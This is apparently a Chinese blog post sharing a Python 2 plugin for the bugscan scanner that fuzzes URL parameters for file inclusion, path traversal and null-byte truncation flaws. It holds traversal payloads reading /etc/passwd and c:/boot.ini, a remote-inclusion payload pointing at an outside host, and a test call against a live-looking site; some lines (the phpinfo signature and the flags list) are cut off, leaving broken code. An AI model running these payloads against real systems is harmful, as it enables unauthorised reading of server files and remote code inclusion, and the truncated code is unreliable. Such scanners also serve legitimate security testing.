脚本的文件包含漏洞可以说是层出不穷,苦于市面上没有好的功能全面的有针对性的开源工具做参考,现在就文件包含的几种典型漏洞为例子。
此插件可以本地测试运行当做一个fuzz工具,也可以在bugscan上做为一个功能模块运行
代码如下,要以先看assign函数,再看audit函数,注释详细清晰:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 脚本语言本地/远程,文件包含/读取, 文件名截断漏洞FUZZ工具
import re
import urlparse
import urllib
import os
# 此函数会在爬虫扫描过程中调用,为任务派遣函数
def assign(service, arg):
# 只接收链接
if service != "www":
return
# 分析链接,看有没有查询参数
r = urlparse.urlparse(arg)
pairs = urlparse.parse_qsl(r.query)
# 如果参数过多,超过6个,效率起见,放弃此链接
if urlparse.urlparse(arg).query.find('=') == -1 or len(pairs) > 6:
return
# 返回True表始接收任务,arg是要调度器传给audit函数的参数
return True, arg
# 远程文件包含的FUZZ函数
def check_rfi(action, query, k, v, normal_res):
# 要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传
for i in range(2):
# 网上总结的一组经典列表,以(路径,签名)做列表
paths = [
('../../../../../../../../../../etc/passwd', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
('../../../../../../../../../../etc/passwd%00', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
('http://cirt.net/rfiinc.txt?', '
phpinfo'),('c:/boot.ini', '\[boot loader\][^\r\n<>]*[\r\n]'),
]
for inj, fingerprint in paths:
qsl = []
# 第一轮fuzz,完整提交全部参数
if i == 0:
for key, val in query:
# 如果参数key为要fuzz的,替换为路径
val = inj if (key==k) else val
qsl.append((key, val))
else:
# 第二轮fuzz, 只提交要fuzz的参数,其它不提交
qsl.append((k, inj))
# 经合成URL
qs = urllib.urlencode(qsl)
url = '%s?%s' % (action, qs)
# 发送请求
code, head, res, _, _ = curl.curl(url)
debug('[%03d] %s', code, url)
# 开始查询是否包含签名内容, 如<?php <%
# 如果指定的签名在fuzz过程中找到,而没有在正常的网页里找到,说明漏洞存在
if re.search(fingerprint, res) and (not re.search(fingerprint, normal_res)):
# 记录一个报告
security_warning(url)
# 中断fuzz
return True
# 本地文件包含的fuzz函数
def check_lfi(action, query, k, v, files, suffix, flags):
filter = {}
# 默认情况下,只测试两轮,像远程文件包含一样
loop = 2
# 如果参数有文件后缀,测试三轮,第三轮测试文件后缀截断漏洞(附加%00)
if suffix:
loop = 3
# 开始fuzz
for i in range(loop):
for file in files:
# 如果是第三轮,循环以0开头(0,1,2), 在后缀后加上\x00测试是否有文件名截断漏洞
if i == 2:
file += '\x00.' + suffix
# 构造查询结构
qsl = []
# 第一轮,提交全部参数
if i == 0:
for key, val in query:
val = file if (key==k) else val
qsl.append((key, val))
# 第二轮,只提交FUZZ的参数
else:
# next loop only test one argments
qsl.append((k, file))
# 构造URL
qs = urllib.urlencode(qsl)
url = '%s?%s' % (action, qs)
# 这里加了一个过滤器,防止产生重复的URL
if url not in filter:
filter[url] = True
# 请求URL
code, head, res, _, new_url = curl.curl(url)
debug('[%03d] %s', code, url)
# 开始查询是否包含签名内容, 如<?php <%
for w in flags:
if re.search(w, res):
# 发现漏洞,上传报告,并返回
security_warning(url)
return True
def audit(arg):
# arg为assign传过来的链接,为一个带参数查询的URL
url = arg
r = urlparse.urlparse(url)
# 取出?号前面的地址
action = urlparse.urlunsplit((r.scheme, r.netloc, r.path, '', ''))
# 取出参数的key
pairs = urlparse.parse_qsl(r.query)
# 以下参数,为.NET的内置参数,自动跳过,不判断
reject_key = ['__VIEWSTATE', 'IbtnEnter.x', 'IbtnEnter.y']
# 请求action, 保存一个返回内容的快照到normal_res
code, head, normal_res, _, _ = curl.curl(action)
# 尝试每个参数是否有远程文件包含漏洞
for k, v in pairs:
# 跳过指定的内置参数
if k in reject_key:
continue
# 如果发现参数有漏洞,返回
if check_rfi(action, pairs, k, v, normal_res):
return
# 尝试每个参数是否有本地文件包含读取漏洞, 以当前文件名做为包含文件,传递
# 获取当前URL的快照,搜索内容来获取有效的用来判断是否利用成功的签名,如:<?php , <%
code, head, res, _, _ = curl.curl(url)
flags = []
for w in ['
if not re.search(w, res):
flags.append(w)
# 没有找到可以使用的签名,返回
if not flags:
return
paths = ['.', '..', '../..', '../../..', '../../../..', '../../../../..']
files = []
# 获取URL的文件名
filename = r.path.split('/')[-1]
# 保存到要fuzz的文件列表里
files.append(filename)
# 保存一组递归目录列表,如./a.php, ../a.php, ../../a.php
for path in paths:
files.append(path + '/' + filename)
# 保存一组递归的完整文件列表如, /../news/show.php, /../../news/show.php
for path in paths:
files.append(path + r.path)
# 开始遍历参数进行fuzz
for k, v in pairs:
# 跳过内置的参数
if k in reject_key:
continue
# 如果参数值里面找到类似a.jpg这样文件名特征, 获取文件后缀到suffix里面去
suffix = ''
if v.find('.') != -1:
suffix = v.split('.')[-1]
# 开始fuzz本地文件包含漏洞
if check_lfi(action, pairs, k, v, set(files), suffix, flags):
return
# 测试代码开始
if __name__ == '__main__':
# 调入SDK模拟环境
from dummy import *
# 模拟调试器传入参数,测试审计函数
audit(assign('www', 'http://demo.webravor.com/kj.jsp?url=lionsky.txt')[1])